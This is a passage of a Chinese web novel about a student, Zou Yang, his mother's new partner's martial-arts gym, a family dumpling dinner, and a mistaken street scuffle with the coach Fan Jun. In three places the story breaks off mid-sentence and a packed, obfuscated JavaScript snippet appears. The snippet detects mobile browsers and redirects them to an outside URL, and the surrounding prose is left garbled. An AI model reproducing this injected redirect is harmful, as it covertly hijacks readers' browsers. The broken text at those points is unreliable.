珊姐估计一时半会儿不会回来,邹飏虽然说了不用管他,但他肯定不能真不管了,于是他转身拿过还没装完的展架继续弄。 这玩意儿本来有个简单的,怼几下就能立起来,吕泽非说要换个结实的,弄了这么个跟相框一样的回来,还得往上拧螺丝。 邹飏专注地咬着吸管,眼睛看着自己鞋上那一片已经干了的麻辣鱼汁儿,余光一直留意着门外。 不光老妈的身影没有出现,连路过的人一共也就出现了一个。 真萧条啊。 “哎。”他看着樊均。 樊均嘴里叼着颗钉子,正低头调整着那张海报,估计是没听到。 “樊均。”他提高了一点儿声音。 “嗯?”樊均转过了头。 “我妈……跟吕老板,”他看了一眼门外,“在一块儿多久了?” 樊均拿下嘴里的钉子,沉默了几秒钟才开口:“你不知道?” “不知道。”他笑了笑。 “我也……不太清楚。”樊均说。 邹飏没再问下去。 虽然老妈说得含糊,但他知道老妈在离婚前就已经追寻真爱了,但到底是前了多久,他不知道,现在看樊均这反应,估计时间不短了。 对于这事儿,老妈一直不肯多说,邹飏感觉她多少是有些介意的,他如果一直追问,老妈就会生气。 在这件事儿上,远不如她前夫,理不直气还壮。 “奶茶哪儿买的?”邹飏生硬地换了个话题。 “……一楼,后门那边儿,”樊均看着他,“怎么?” “挺好喝,”邹飏晃晃杯子,“哪家的?” “不是连锁的,”樊均说,“喜欢的话得抓紧喝,不知道哪天就倒了。” “这破地方,”邹飏转头看着门外,“怎么想着在这儿开个新馆?” “租金便宜。”樊均回答得很实在。 “生意好吗?”邹飏问。 “凑合。”樊均说。 邹飏没再出声,他其实更想知道的并不是这些,但他自己都说不清,老妈自然不明白,樊均更没可能明白。 “你要不要去找珊姐再聊聊,”樊均继续弄那个展架,“她一般就在隔壁。” “你管吕老板叫什么?”邹飏问。 “叔。”樊均说。 “管我妈叫姐啊?”邹飏笑了。 “一开始就这么叫的,”樊均也笑了笑,“习惯了。” 邹飏沉默地喝了一会儿奶茶,正想要不要去隔壁看看老妈消气了没,门外走过来了两个人,抬头看了看武馆的牌子之后就推门进来了。 “就是这儿。” 进来的是两个年轻人,一高一矮,整体外观很符合邹飏对南舟坪民风彪悍的刻板印象。 “下午好。”樊均把装好的展板靠到墙边,打了个招呼。 “你们这儿是教真功夫的吗?”高个儿走到训练区门边往里看着,“都小孩儿啊?” “晚上的课成年人多。”樊均说。 训练区的一个大块儿头教练走了过来,接过了樊均的话,问高个儿:“二位想了解点儿什么呢?” “想练拳啊,”高个儿说,“也不知道你们什么水平。” “我们这里有教练的介绍,”大块儿往前台走过去,“您可以……” “我不看那些个,”高个儿说,“那些想怎么吹不行啊?” “那我们也有体验……”大块儿的话没说完就又被打断了。 “叫个人跟我切磋一下,”高个儿抱着胳膊,“我看看水平就知道了。” 哟,踢馆啊? 邹飏很有兴趣地靠在椅子上,一边喝着奶茶一边把椅子微微往后靠了靠。 打起来这俩肯定没胜算,别被揍碎了再崩自己一身。 大块儿没说话,往樊均那边看了一眼。 “切磋?”樊均问。 “我也有点儿基础,”高个儿活动了一下膀子,“你们也别跟我说套话,实力展现一下……” “我们没有这种业务。”樊均说。 “怎么,怕打伤我啊?”高个儿笑了,“没事儿,签个生死状呗。” 邹飏忍不住又盯了这人一眼,想确定一下他是脑子有病还是喝多了。 “生死状没有法律效力。”樊均很平静。 “过两招都不敢?”矮个儿很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“站得住吗?”铁帮有些嫌弃地扶着他问了一句,“没哪块儿碎了吧?” 旁边一帮观战的小孩儿一片没憋住的笑声。 “这点儿不算什么,”高个儿站直了,看着樊均,“有点儿实力啊。” 樊均没说话。 “就你吧,”高个儿指了指他,“你来教我。” 正想走开的樊均停下了脚步,转头看着他。 “教练贵姓?”高个儿问。 “……樊。”樊均说。 高个儿很利索地在前台交了三个月的钱,然后跟矮个儿一块儿走了。 邹飏看得有些不知道该说什么。 “挺逗。”他说。 “嗯?”站在前台后头收拾东西的樊均抬头看着他。 “逗吧,”锅盖头走了过来,从前台旁边的冰柜里拿个水壶出来,仰头灌了几口,“去年那个傻子更有意思,喝多了的过来踢馆,被吕泽打伤了,我们还赔了钱呢!樊哥比他有数。” “舌头闲不住找块儿冰舔去。”樊均说。 锅盖头嘿嘿笑了两声,转身跑回了训练区。 “猴儿,”樊均给邹飏介绍了一下,“那帮孩子的头儿,刚那个是铁教练,铁帮。” “哦。”邹飏把喝空了奶茶杯子扔进垃圾筒,“还真有踢馆的?” “没,”樊均笑了笑,“都喝多了。” 邹飏也笑了笑,拿出手机看了一眼时间,老妈离店出走也快一个小时了,他打算去隔壁,再不找人他怕老妈消了气都得重新气起来。 “还没走啊。”老妈就在下一秒推门而入。 “等你呢。”邹飏转过头。 “等我干什么,”老妈把手里的一兜肉放到桌上,“跟我都没法沟通。” “你知道我不是那个意思,”邹飏转身靠着前台,“别气了。” 樊均快速地从前台后头离开,去了训练区。 老妈没说话,坐在椅子上沉默着。 “几点忙完?”邹飏问,“一块儿回去?” 老妈看了他一眼,过了一会儿才拍了拍桌上的肉:“你吕叔听说你在这边儿,要叫你过去吃饭,我专门去买了肉,包饺子。” 你吕叔。 这三个字让邹飏一阵不舒服。 “你……”他调整了一语气,“可以不告诉他我在这儿的。” “你明明就在这儿。”老妈说。 邹飏无言以对,只能点了点头,靠着前台没再说话。 “你不想去就不去,”老妈看着他,“反正中午你也是就那么走了,招呼都没跟人打一个。” 邹飏沉默了一会儿:“去。” 6.第 6 章 6 新馆学员不多,晚上的课基本就几个年轻人,下午那帮小孩儿都走了之后,樊均就没什么事儿了。 一般情况下他会在馆里待着,磨磨蹭蹭卡着饭点回旧馆吃几口,或者直接外头随便找个小店吃点儿,再回新馆待着。 但今天他没法磨蹭,珊姐刚跟他说了,晚上邹飏跟他们一块儿包饺子。 “帮哥,”樊均去了训练区,“晚上你还有课吗?” “有俩八点过来,”铁帮走了过来,“怎么?” “我晚上可能……”樊均往门那边看了一眼,“晚点儿过来。” “珊姐儿子来了是吧?”铁帮问,“没事儿,我走的时候收拾好就行,你不用再过来了。” “嗯。”樊均点点头,转身走了两步又退了回来,“要再有人来找吕泽就说他出差了不知道什么时候回。” “成。”铁帮笑笑。 珊姐刚才出去应该没去隔壁,而是直接去了后街的菜市场,除了肉,还有一兜子菜放在了门外。 邹飏一手肉一手菜地拎着,靠着走廊的栏杆出神,表情很平静,但能看得出来心情不怎么好。 珊姐还在前台后面收拾垃圾筒。 “铁帮走的时候再弄吧,”樊均过去接过她手里的垃圾袋系上了放到了墙边,“走吧。” “顺手就带下去了。”珊姐又想去拿另一个垃圾筒。 “珊姐,”樊均拦住了她,“不管了。” 看到老妈走出来,邹飏转身往商场后门走,之前樊均带他们走过的那个方向。 “你骑车过来的吧?”老妈在后头问他。 “嗯。”邹飏应了一声,放慢了脚步。 “停哪儿了?”老妈问。 “正门。”邹飏说。 “不骑过去吗?”老妈又问。 “不了,晚上再去拿。”邹飏回头看了她一眼。 顿时往前又窜了两小步,樊均的那条大黑狗不知道什么时候被他牵着跟在了身边。 但不知道是不是之前的气儿还没消,老妈这会儿跟樊均一块儿并排走着,宁可对着他后脑勺说话,也没有上前来的意思。 邹飏叹了口气,转回头继续往前走,没再出声。 下楼梯的时候樊均走到了他身边,碰了碰他左胳膊:“这个给我吧。” “嗯?”邹飏看了他一眼,又迅速地往他身边扫了一圈儿,发现狗不见了,“你狗呢?” “走消防梯了。”樊均从他手里把那袋肉拿走了,下了电梯之后走到了最前面。 下了电梯之后,狗果然从消防梯那边拖着牵引绳跑了出来,还戴了个嘴套,看上去比不戴更吓人。 汉尼拔就戴那玩意儿。 出了商场之后,樊均牵着狗走得挺快。 老妈总算是走在了邹飏身边。 “都有谁一块儿吃?”邹飏问她。 “老吕,他儿子,你今天也见过了的吧,吕泽,”老妈说,“还有均儿,晚饭就没有学员一块儿了。” “嗯。”邹飏点点头。 “一会儿你别拉着个脸,”老妈看了他一眼,“人家以为你多不愿意一块儿吃饭呢。” “我有吗?”邹飏说。 “我瞎了你就没有。”老妈说。 “我就长这样。”邹飏转头冲她笑了笑。 “今天去找你爸干什么了?”老妈问。 “喝茶,”邹飏说,“聊了一会儿。” “你倒是不嫌难受,一个月去一次还不够呢?”老妈皱了皱眉,“人一家三口过周末,你戳那儿喝茶。” “都一样。”邹飏说。 “什么一样?”老妈没听懂。 “没,”邹飏换了个话题,“饺子什么馅儿?” “猪肉大葱,我还买了点儿羊肉,”老妈说,“老吕他们爱吃胡萝卜羊肉的,你要不爱吃,就给你调点儿芹菜的。” “不用。”邹飏说。 到旧馆的时候,训练的学员已经走得差不多了,吕泽正在院子里跟来接小孩儿的家长说着话,厨房那边儿能听到有人正在剁馅儿。 “后面没课了吧?”老妈看到吕泽,问了一句。 吕泽看了她一眼,没说话。 老妈也没在意,拿过邹飏手里的菜就往厨房走:“你自己先玩会儿啊。” “嗯。”邹飏应着,眼睛一直看着吕泽。 吕泽还在跟家长说着话,脸上带着笑,不过眼睛也是看着他这边儿的,眼神里是一点儿笑都没有。 家长带着小孩儿走了之后,吕泽站在原地定了一会儿。 邹飏也没动,还是看着他。 虽然老妈让他不要拉个脸。 虽然老妈今天有些陌生。 虽然老妈觉得自己跟她前夫一样永远不会跟她一边儿。 有很多虽然。 却只有一个但是。 但是那是我妈,跟你打招呼呢你什么态度?中午给我甩脸子就得了,这会儿还给我妈甩上了…… 吕泽抬腿准备往这边儿过来的时候,邹飏也不想管那么多了。 来呗,吕教练。 今天就踢个馆了。 正想摘掉眼镜,樊均的狗突然从吕泽身后蹿了出来,绕着吕泽的腿转了一圈儿。 “我操。”邹飏根本没注意狗是什么时候过来的,吓得往后蹦了一下。 踢馆的事儿改天吧。 “樊均!”吕泽应该是不怕狗,但似乎跟狗不太熟并且不喜欢狗,“你狗是不是疯了!” 狗没管他,还是围着他转圈儿,甚至在他用腿想把狗推开的时候,狗还站起来开心地用爪子搭了一下他的肩。 这狗站起来能跟他亲嘴儿了都。 邹飏有些扛不住,怕这狗下一圈儿就要上他这儿亲来了,于是赶紧转身走到了院门外面,顺脚还把开着的院门踢过去关上了。 “滚开!”吕泽骂了起来,“樊均你管不管你的疯狗!别他妈装听不见!听不见总看得见吧!” 邹飏在院子外头听到了一声口哨,接着狗兴奋地哈哧声慢慢远了,估计是被樊均叫回狗窝去了。 邹飏这才靠到院墙上,轻轻呼出一口气。 没过一会儿,院门打开,樊均走了出来。 邹飏转过头看着他。 “怎么了?”樊均走了过来。 “什么怎么了?”邹飏问。 “他……”樊均往院子里看了看,“就那样。” 邹飏这会儿才反应过来,狗是樊均专门放过来打断他俩施法的。 “怎么,”邹飏啧了一声,“怕我揍他啊?” “你打不过他。”樊均倒是很实诚。 邹飏顿了顿,笑了起来:“那我也不是一脚就能被踢飞的水平。” “他全国冠军,”樊均说,“踢你就是一脚。” “操,”邹飏看着他,过了一会儿才说了一句,“你是来解围的还是来拱火的?” 樊均笑了笑,靠到了他旁边的墙上:“吕泽不太喜欢珊姐,一般都不跟她说话,不过珊姐不在意,她心挺大的。” 邹飏没出声。 心大不大的也分对谁。 “你……”樊均看了看四周,“不想在里头待着的话……” 邹飏也看了看四周,天已经基本黑了,这个鬼地方的路灯也没几盏,亮度基本就是“我是一个灯我能亮”的程度。 他沉默地等着樊均给他一个在这种环境里不进屋还能不见鬼的建议。 “可以去帮我遛一下小白。”樊均说。 “那我不如进去被冠军踢一脚。”邹飏说。 “可以命令它不靠近你,”樊均说,“保持一米距离。” “我去包饺子。”邹飏转身走进了院子,往厨房那边走了几步才想起来又问了一句,“你那个黑狗叫小白?” 樊均就在他身后关院子门,但应该是没听见。 于是他转过头。 “嗯?”樊均看着他。 “一个大黑狗叫小白?”邹飏又问了一次。 “对,”樊均点头,“小时候的确是没多大的。” “废话,你生下来也就几斤。”邹飏看了一眼狗窝那边趴着的小白。 厨房里就三个人,正忙活着的吕叔和老妈,和坐在桌子最那头玩手机的吕泽。 “正好,”吕叔冲老妈笑笑,“擀皮儿的来了。” 樊均去洗了个手,把盆儿里醒好的面扣在了已经收拾好洒上了面粉的桌面上。 “我……”邹飏犹豫了一下也去洗了个手,“包饺子吧。” “你等着吃吧你会什么包饺子,”老妈说,“从来都是等吃的那位。” 邹飏没说话。 “包吧没事儿,”吕叔笑着把一盆和好的馅儿放到了桌上,“反正也不是拿出去卖的。” 樊均很利索地揪好剂子开始擀皮,一次俩剂子,然后把擀好的皮儿轻轻一抛,扔到了邹飏面前。 邹飏会包饺子,不过的确包得不好,以前家里不太包饺子,老爸不爱吃,他也没什么练习的机会。 樊均的饺子皮儿擀得很圆,相当规整,强迫症能安详去死的那种。 他舀了一勺馅儿放上去,把皮儿对折捏了一下,然后放到了桌上。 对面擀皮儿的樊均抬眼瞅了瞅他包的饺子。 “馅儿太少了。”老妈说。 “再多我包不起来。”邹飏又包了一个,还是对折一捏。 “没事儿,皮儿够的,”吕叔说,“捏紧了就行。” “多放点儿!捏点儿褶。”老妈给邹飏示范了一下。 “我真不会捏褶。”邹飏很细微地皱了一下眉。 “你那都不叫饺子了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490420|169504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”老妈说。 “也有这样的,”吕叔笑着说,“元宝饺子。” 邹飏沉默地继续捏着饺子,没再说话。 老妈这样子并不奇怪,也许今天气儿不顺就会更严重些,她和她前夫要说有什么共同点,这就算一个。 会在任何在邹飏看来完全没必要的小细节上抬杠,要求对方必须跟自己的习惯一样。 这样的人有一个还好,要碰上个势均力敌的比如她前夫,没打起来也就是因为他俩技能树没点武力。 樊均擀皮儿很快,没多大一会儿就都擀好了,每个人面前都有一堆。 邹飏面前的最多,他自己都奇怪,明明自己连褶都不捏,就对折一下,居然能这么慢。 樊均走到他旁边站着,拿了皮儿开始包。 邹飏看了几眼他的动作,很利索地一折一捏,在邹飏看来,这动作跟自己的没什么区别,无非就是更快一些。 但樊均捏出来的饺子有褶。 “你饺子店打过工么?”邹飏干脆放弃了继续包饺子,往椅背上一靠,伸长了腿。 “没。”樊均笑笑。 “均儿从小勤快,吃过苦的孩子做事利索。”老妈一边包饺子一边说。 “……嗯。”邹飏靠在椅子里点了点头。 早知道刚就跟冠军一块儿坐那头去玩手机了。 不过好在老妈一直不顺的气儿在饺子煮好之后顺过来了。 她把做好的凉菜端到桌上,拍了拍邹飏的肩:“你一会儿就不喝酒了吧,晚上骑车不安全,喝点儿饮料。” “好。”邹飏应着。 菜和饺子都上桌了,那边吕泽才把手机往兜里一揣,走过来坐下了。 虽然老妈气儿已经顺了,但这顿饺子吃得还是很费劲。 樊均话少,吕泽没话,就吕叔和老妈时不时聊几句,邹飏不是个话少的人,但这种状态里他也找不出什么可说的。 就在吕叔问他的时候答个一两句。 在哪儿上学? 师大。 学的什么? 汉语言文学。 …… 一顿饭也就半个多小时就吃完了。 吕泽一放筷子转身就出去了,邹飏坚持着等老妈和吕叔收拾完桌子,樊均去洗碗了才起身说要走。 “就走了啊?”吕叔问了一句,“不喝点儿茶吗?” “……不了,”邹飏随便编了个理由,“明天还要早起。” 吕叔这人给他的感觉不坏,跟他之前猜测的不一样,但他跟老妈时不时聊的那几句听着跟废话一样的话,琐碎松弛自带结界,是之前他几乎没在家里听到过的。 莫名就有些失落。 本来想问老妈要不要一块儿回去,最后还是没开口。 “我送你过去拿车吧,”吕叔说,“晚上这片儿不安全。” “没事儿,”邹飏赶紧拒绝,“我……” “是得送一下,”老妈说,“前两天街口那家店还被人砸了,老板现在还在医院呢,南舟坪不比我们那边儿。” “不了不了我……走了。”邹飏也没顾得上找理由,跟逃似地出了门。 “这孩子……”吕叔叹了口气,“是不是怕尴尬啊?” 樊均转头看了一眼,珊姐皱着眉没说话。 他放下了手里洗了一半的碗:“我去吧。” “他要面子,”珊姐说,“大小伙子去拿个车还要人送过去,他没面子了。” “我跟着。”樊均说。 “去吧。”吕叔点点头。 这会儿不算太晚,不过已经起风了,外头街上都没人了,两边的小店几乎也都关门了。 整条街上只有远处大步走着的邹飏一个人。 其实邹飏一个人过去商场那边拿个车不会有什么问题,吕叔是想做得周到些,珊姐是不放心。 樊均把外套帽子扣上,跟了过去。 为了不让邹飏尴尬,他始终保持着二十米的距离。 不过走过一个路口之后,他就感觉珊姐让送他会不会是有别的原因。 统共三条街,邹飏第二路口就走反了方向。 ……迷路了? 樊均不得不加快了脚步往前追过去,但与此同时,邹飏也加快了脚步。 在迷路的道路上加速前进。 迅速消失在了前面的拐角处。 樊均小跑起来,快到拐角正想出声叫住邹飏的时候,一个人影从拐角那边闪了出来。 带着风的一拳对着他的脸就砸了过来。 樊均没有防备,加上这一拳的速度的确快,他往后退已经来不及,只能偏头的同时抬手抓住了这人的手腕。 黑暗里有很细微的光从这人的脸上闪过。 樊均有些吃惊。 看上去挺斯文的邹飏出拳居然这么狠。 7.第 7 章 7 邹飏右手腕被抓住之后并没有停下,在樊均往后退的过程中,他手腕向下一压一转,挣脱之后左手跟着又是一拳。 樊均抬胳膊格挡,再对着他小臂拍了一掌,邹飏的拳头擦着他脸扫过。 “我樊均!”樊均总算抽空说了一句。 看样子还打算回手往他太阳穴上劈一下的邹飏猛地收了手。 “我操,”他转过头,抬手掀掉了樊均的帽子,一脸震惊,“你没事儿跟着我干嘛啊?” “珊姐让送你过去。”樊均说。 “那你叫我啊你跟踪我是个人爱好吗?”邹飏有些无语,“我刚走到街口就听后头有人跟着,俩路口还甩不掉……” “你……”樊均重新带上帽子,脸瞬间又回到了阴影中,“回头看一眼啊。” “你这扮相回头看一眼一般人直接就能拔腿跑了。”邹飏掉头重新往商场方向走。 “没迷路啊。”樊均说。 “多新鲜呢,”邹飏说,“统共三条街都能迷路,那我连我家小区都走不出去。” 樊均笑了笑,跟他一块走着。 “其实……”邹飏有些不好意思,“真不用送。” “看出来了,”樊均说,“换个人刚已经躺下了。” “真这么乱么?”邹飏问。 “比别的区是乱点儿。”樊均说。 “一条街人加起来都不够斗个地主的。”邹飏看了看四周,他随便拐过来的这条街,比旧馆那边儿更萧条,那边儿的店虽然也基本都关门了,但有几家是亮着灯的,这边儿直接全黑。 “人少出事儿才可怕。”樊均说。 走到李知越买猪肉那块儿了,街道才亮了一些,两边开着的小店也多了,前面有个商场,看着快倒闭了但毕竟还没倒闭。 邹飏停了下来:“你回去吧,我自己过去就行。” “我去新馆。”樊均说。 “哦。”邹飏应了一声。 还有半条街到商场,他本来想借着这会儿再打听一下老妈在武馆的情况,但一直犹豫到商场后门他也没有开口。 跟基本还算是陌生人的樊均打听自己老妈的事儿,很奇怪,也担心老妈知道了会不高兴。 “你从外面过去吧,”樊均指了指商场旁边的路,“从里头走要绕半圈儿。” “嗯,谢了。”邹飏点点头。 “不客气。”樊均回答得很标准。 邹飏转身顺着路往商场正门走,没走几步,手机响了一声。 他拿出来看了一眼,是一条转账信息,老爸给他转了五千。 点开看的时候,老爸又发了条消息过来。 -要买什么只要是合理的就买,别太省。 老爸一般说了给他钱,一小时之内都会转过来,今天时间比较长,估计是因为向来一月固定上门一次的儿子突然多来了一次,得跟家里人解释。 这会儿才有空给他转钱。 所以这钱不是一人一份的,单独给他的。 邹飏没有马上回消息,把手机放回了兜里,正常这会儿他应该沉迷于阅读。 慢吞吞地骑着车回到家之后,他才回了一条消息。 -谢谢爸。 家里像挺长时间以来一样,只有他一个人。 邹飏在客厅愣了一会儿,回了卧室,关上门,把音箱打开,随便放了点儿音乐。 听着音乐把卧室的空间慢慢填满,他感觉舒服多了,换了睡衣打开了电脑。 现代汉语的作业还没写。 分析短语……嗯……连谓结构和补语的层次…… 句子……句型…… 特殊句式…… 他莫名其妙地打了个呵欠,看了一眼时间,十点都没到,一下午的茶白喝了…… “睡觉怎么不去床上睡啊?”老妈的声音从很远的地方传来,还有配乐。 “嗯?”邹飏应了一声。 “你真行,”老妈的声音逐渐清晰,“要写作业就写作业,要睡觉就睡觉,一边儿睡一边儿写你是真厉害……” 邹飏睁开了眼睛,老妈的脸就在眼前,音乐也清晰了。 “我靠,”他愣了愣,“我是不是睡着了?” “谁知道你呢?”老妈回了客厅,“我回来叫你半天才看到你在这儿仰面大睡呢,太累了那个作业就明天再写嘛。” “我……”邹飏揉着脖子站起来,也去了客厅。 他本来想说“以为你今天不回来了”,但关键时刻没说出口。 “困了就睡吧,”老妈说,“别熬了,人本来就该十一点前睡觉。” “嗯。”邹飏应了一声,站在客厅里没动。 老妈也没理他,脱掉外套,把包收拾好,来回两趟之后才停下看着他:“怎么了?” “没事儿。”邹飏说。 “今天去你爸那儿,”老妈扶着肩活动着胳膊,“他是不是又给你钱了?” “……嗯。”邹飏点点头。 “你就是冲着要钱去的吧,”老妈说,“我可太清楚你了。” 邹飏没说话。 老妈在这一点上有些敏感,或者说,有些自卑。 “别总跟他要钱,”老妈说,“他该以为是我支使你去的了,我又不是出不起那一份钱。” 老妈一直没有工作,存款是有一些,离婚的时候老爸给的,还拿了这套房子,加上姥姥去世前给她留的…… 总之除去必须父母各出一半的钱,邹飏不太愿意让老妈动钱。 老妈想往武馆投点儿钱,除去跟吕叔的关系,可能也是想能有点儿收入。 邹飏本来是担心她被人骗钱,现在感觉吕叔不至于是那样的人,但说实话那个武馆……能不能赚钱真不好说。 邹飏轻轻叹了口气。 今天没好多问老妈和吕叔的事儿,但应该问问樊均的工资。 “叹什么气?”老妈进了自己屋,门一关,在里头说着,“难道你不是为了钱,你俩其实是父子情深是吧。” “难道不是咱俩母子情深吗?”邹飏靠在门边笑着说。 “你啊,”老妈叹了口气,关掉了屋里的灯,“赶紧睡,眼睛都熬红了。” 当初父母离婚时,他强烈要求选择跟没有收入来源的老妈一起生活,奶奶还劝过他要理智。 “这就是我最理智的决定,深思熟虑,渊思寂虑,字斟句酌,谋定而后动。”邹飏回答。 现在老妈没接他的话茬儿,让他莫名其妙有些没底。 他一直没有问过老妈要不要跟他一起生活。 他一直觉得自己才是父母离婚时唯一需要做出选择的人。 一厢情愿了吗? 这两三年他想了那么多,还从来没想过这个问题。 啧。 老妈关灯之后并没有践行十一点前睡觉的好习惯,而是打开了手机,能听到屋里她手机中传来的小视频的动静。 听上去老妈也没认真看视频,只是不停地切换着,两三秒一个两三秒一个。 邹飏没回屋,就那么靠在老妈卧室门边。 一直到老妈室里没了光亮,也没了声响,他才轻轻叹了一口气,转身靠着墙坐到了地板上,看着客厅窗外漆黑的一片出神。 “今天回学校?”刘文瑞说话声音有些含糊,一听就是嘴里塞满了吃的。 “嗯。”邹飏坐在小区对面的店里,面前的桌上是一份培根三明治和一杯咖啡。 三明治咬了一口就不想吃了,不好吃,培根像是刚从哪具干尸身上削下来的。 咖啡倒是还可以。 一夜没怎么睡好,这会儿就指望这杯咖啡了。 “你不一直是周一早上才连滚带爬返校的么,”刘文瑞那边传来了风声,应该是出门了,“我现在过去,你在哪儿了?” “楼下那个咖啡店。”邹飏说。 “我要一杯熔岩拿铁。”刘文瑞说。 “三明治要吗?”邹飏问。 “要,”刘文瑞说,“还是你了解我。” 十分钟之后刘文瑞坐在了他对面,看着桌上被咬了一口的三明治:“我他妈还是不够了解你。” “没吃过这家,怕不好吃,”邹飏喝了一口咖啡,“我就替你尝了一口,万一不行还能换。” “我姑且再信你一次,”刘文瑞拿起三明治咬了一口,嚼了两下之后抬头看着他,“邹飏我操|你大爷。” “我没有,”邹飏说,“授权你替邹铭操他大爷。” “邹铭谁?”刘文瑞看着他。 “我堂弟。”邹飏说。 刘文瑞拿着三明治看了他快一分钟才又指着他骂了一句:“我操|你。” “别啊,”邹飏笑了起来,靠到椅背上,“不是我的菜,我反抗起来你还打不过我,再给你打废了。” “服务员!”刘文瑞瞪着他,冲吧台那边招了招手,“你们这三明治去年的吧?培根都干尸化了。” 吃完服务员重新拿来的一份蛋糕,刘文瑞才满意地抹了抹嘴:“走。” “你怎么想着星期天一大早回学校的?”出门的时候他又问了一句,“你妈……” 说一半又停了,似乎是有所顾虑。 但停得不是地方。 “骂谁呢?”邹飏扫了他一眼。 “你妈去南舟坪了?还是没回来啊?”刘文瑞问。 “一早过去了,”邹飏伸了个懒腰,“毕竟是资方,积极点儿也正常。” 今天回学校也没什么事儿,他俩回宿舍东西一放就去了球场。 宿舍里几个同样没事儿干的正在打球。 “换人换人!”张传龙一看到邹飏就喊了起来,“我们的人来了!” “你们先打,”邹飏坐到球场边,“我消消食儿的。” “就一口树皮培根还给你吃撑着了……”刘文瑞外套一脱甩到他旁边冲上了球场。 邹飏一边看他们打球,一边摸出手机来看了一眼,老妈还没给他回消息。 一早起来老妈就已经出门了,他给老妈发了个消息说回学校了,老妈一直也没回。 把手机放回兜里的时候,余光里扫到脚边有个正在动的东西。 他先是蹦了起来才回头看了看。 一只巴掌大的小白猫,被人用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504558|169504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一根包装彩带拴在椅子腿儿上。 “谁的猫?”他冲球场上的人喊了一嗓子。 “扫地那个大爷捉的,”李知越回过头喊,“说带回去给他孙子玩。” 不知道谁从那边传了个球过来,直奔李知越脑袋。 “接球!”邹飏喊。 “来了!”李知越回头。 球砸在了他脑门儿上。 “傻逼。”邹飏笑着坐回了椅子上,这么小的猫他是不会怕的,也就一个狗咬棒的大小,都不够小白一口。 小狗粮蹭到了他脚边,低头在他鞋上细细闻着。 “口味挺重?”邹飏说,“喜欢麻辣啊?” 鞋上昨天被泼上的麻辣鱼汁儿还没洗掉,鞋当然也没扔,这双鞋很舒服,不给它穿死了他是不会扔的。 小狗粮挺活泼,一直围着鞋来回翻滚,邹飏伸手把它抓起来掂了掂,感觉都没有一斤。 这小玩意儿经得起一个小孩儿“玩”? 邹飏抓着猫,抬眼往球场上扫了一眼。 “拿走。”刘文瑞跑过边线的时候扔了一句。 “什么?”邹飏愣了愣。 “扫地老头儿的孙子就是上回咱们在南大门碰上的那个,”刘文瑞又退了回来,“拿石头砸狗那个……” 一个本属于刘文瑞的传球飞出了边线。 “邹飏你打就打不打走开!”张传龙指着邹飏,“你是不是对面派来的奸细!” 邹飏看着手里的猫没出声。 “暂停五秒!”刘文瑞冲场上喊了一嗓子,过来一把拿过小猫,低头对着猫脖子就咬了上去。 “你没吃饱啊?”邹飏问。 “呸,”刘文瑞把嘴里咬断的一小截儿绳子吐了出来,再一把扯开他外套兜,把猫塞了进去,“行了走吧。” “你神经病吧?”邹飏震惊了,“我怎么养啊?” “樊教练,”何川一脑袋汗走过来,“你是不是在整我?” “嗯?”樊均看着他。 “三节课了是吧,一周了是吧?”何川问。 “五天,”樊均纠正他,“一周是七天。” “我三节课全体能啊?”何川抹了一把汗,“大冷天儿的累我一身汗,我都说了那天就是想试试你水平,我那拳都没打着你吧?你是不是整我呢?” “不是,”樊均说,“你太菜了。” “我……”何川顿住了,“教练可以这么跟学员说话吗?” “理论上不可以。”樊均说。 “那你还说?”何川说。 “要结合实际,”樊均说,“下周练步法吧,你感受一下。” “你说的啊!”何川指着他。 “不要随便指人,”猴儿从旁边经过扔下一句,“特别是指你打不过的人。” “嘿!”何川转头。 “哈!”猴儿往前蹦了两步,一个转身对着沙袋一脚后踢,沙袋发出了声带着震动的闷响。 “他练了多久?”何川又转回头问樊均。 “五年。”樊均说。 “……行吧。”何川点点头。 上完何川这节课,已经过了晚上七点,樊均穿上外套,跟铁帮交待了一句,让他帮忙把狗送回旧馆。 “出去啊?”铁帮有些意外地问了一句。 “嗯。”樊均点点头。 铁帮来武馆好几年了,看到樊均“出去”的次数可能都凑不够两位数。 南舟坪NPC。 樊均的确很少离开南舟坪,很多人眼里混乱落后的这个地方,对他来说,是安全屋。 适应了这里的“秩序”之后,离开这份混乱反倒像是失去了什么屏障,会让他隐隐害怕。 尾号3332的车已经停在了路口,樊均拎着刚买的一条烟和两瓶酒,拉开后门上了车。 司机似乎是说了句什么,但声音对于樊均来说有点儿低,加上车里还开着电台,他没听清。 “尾号多少!”司机转头看着他不耐烦地说。 樊均也看着他,停了两秒之后抬手比了个数字1,接着是数字6。 在他开始比划的时候,司机的表情就从不耐烦变成了愣神,没等他比出第三个数,司机开了口,声音非常大地吼着说:“不好意思我不知道你……你,手机!尾号!是!一六五三吗?” 樊均点了点头。 “好,”司机接着连喊带比划,“出发了啊!挺远的,大概要四十分钟!” 樊均又比了个“谢谢”。 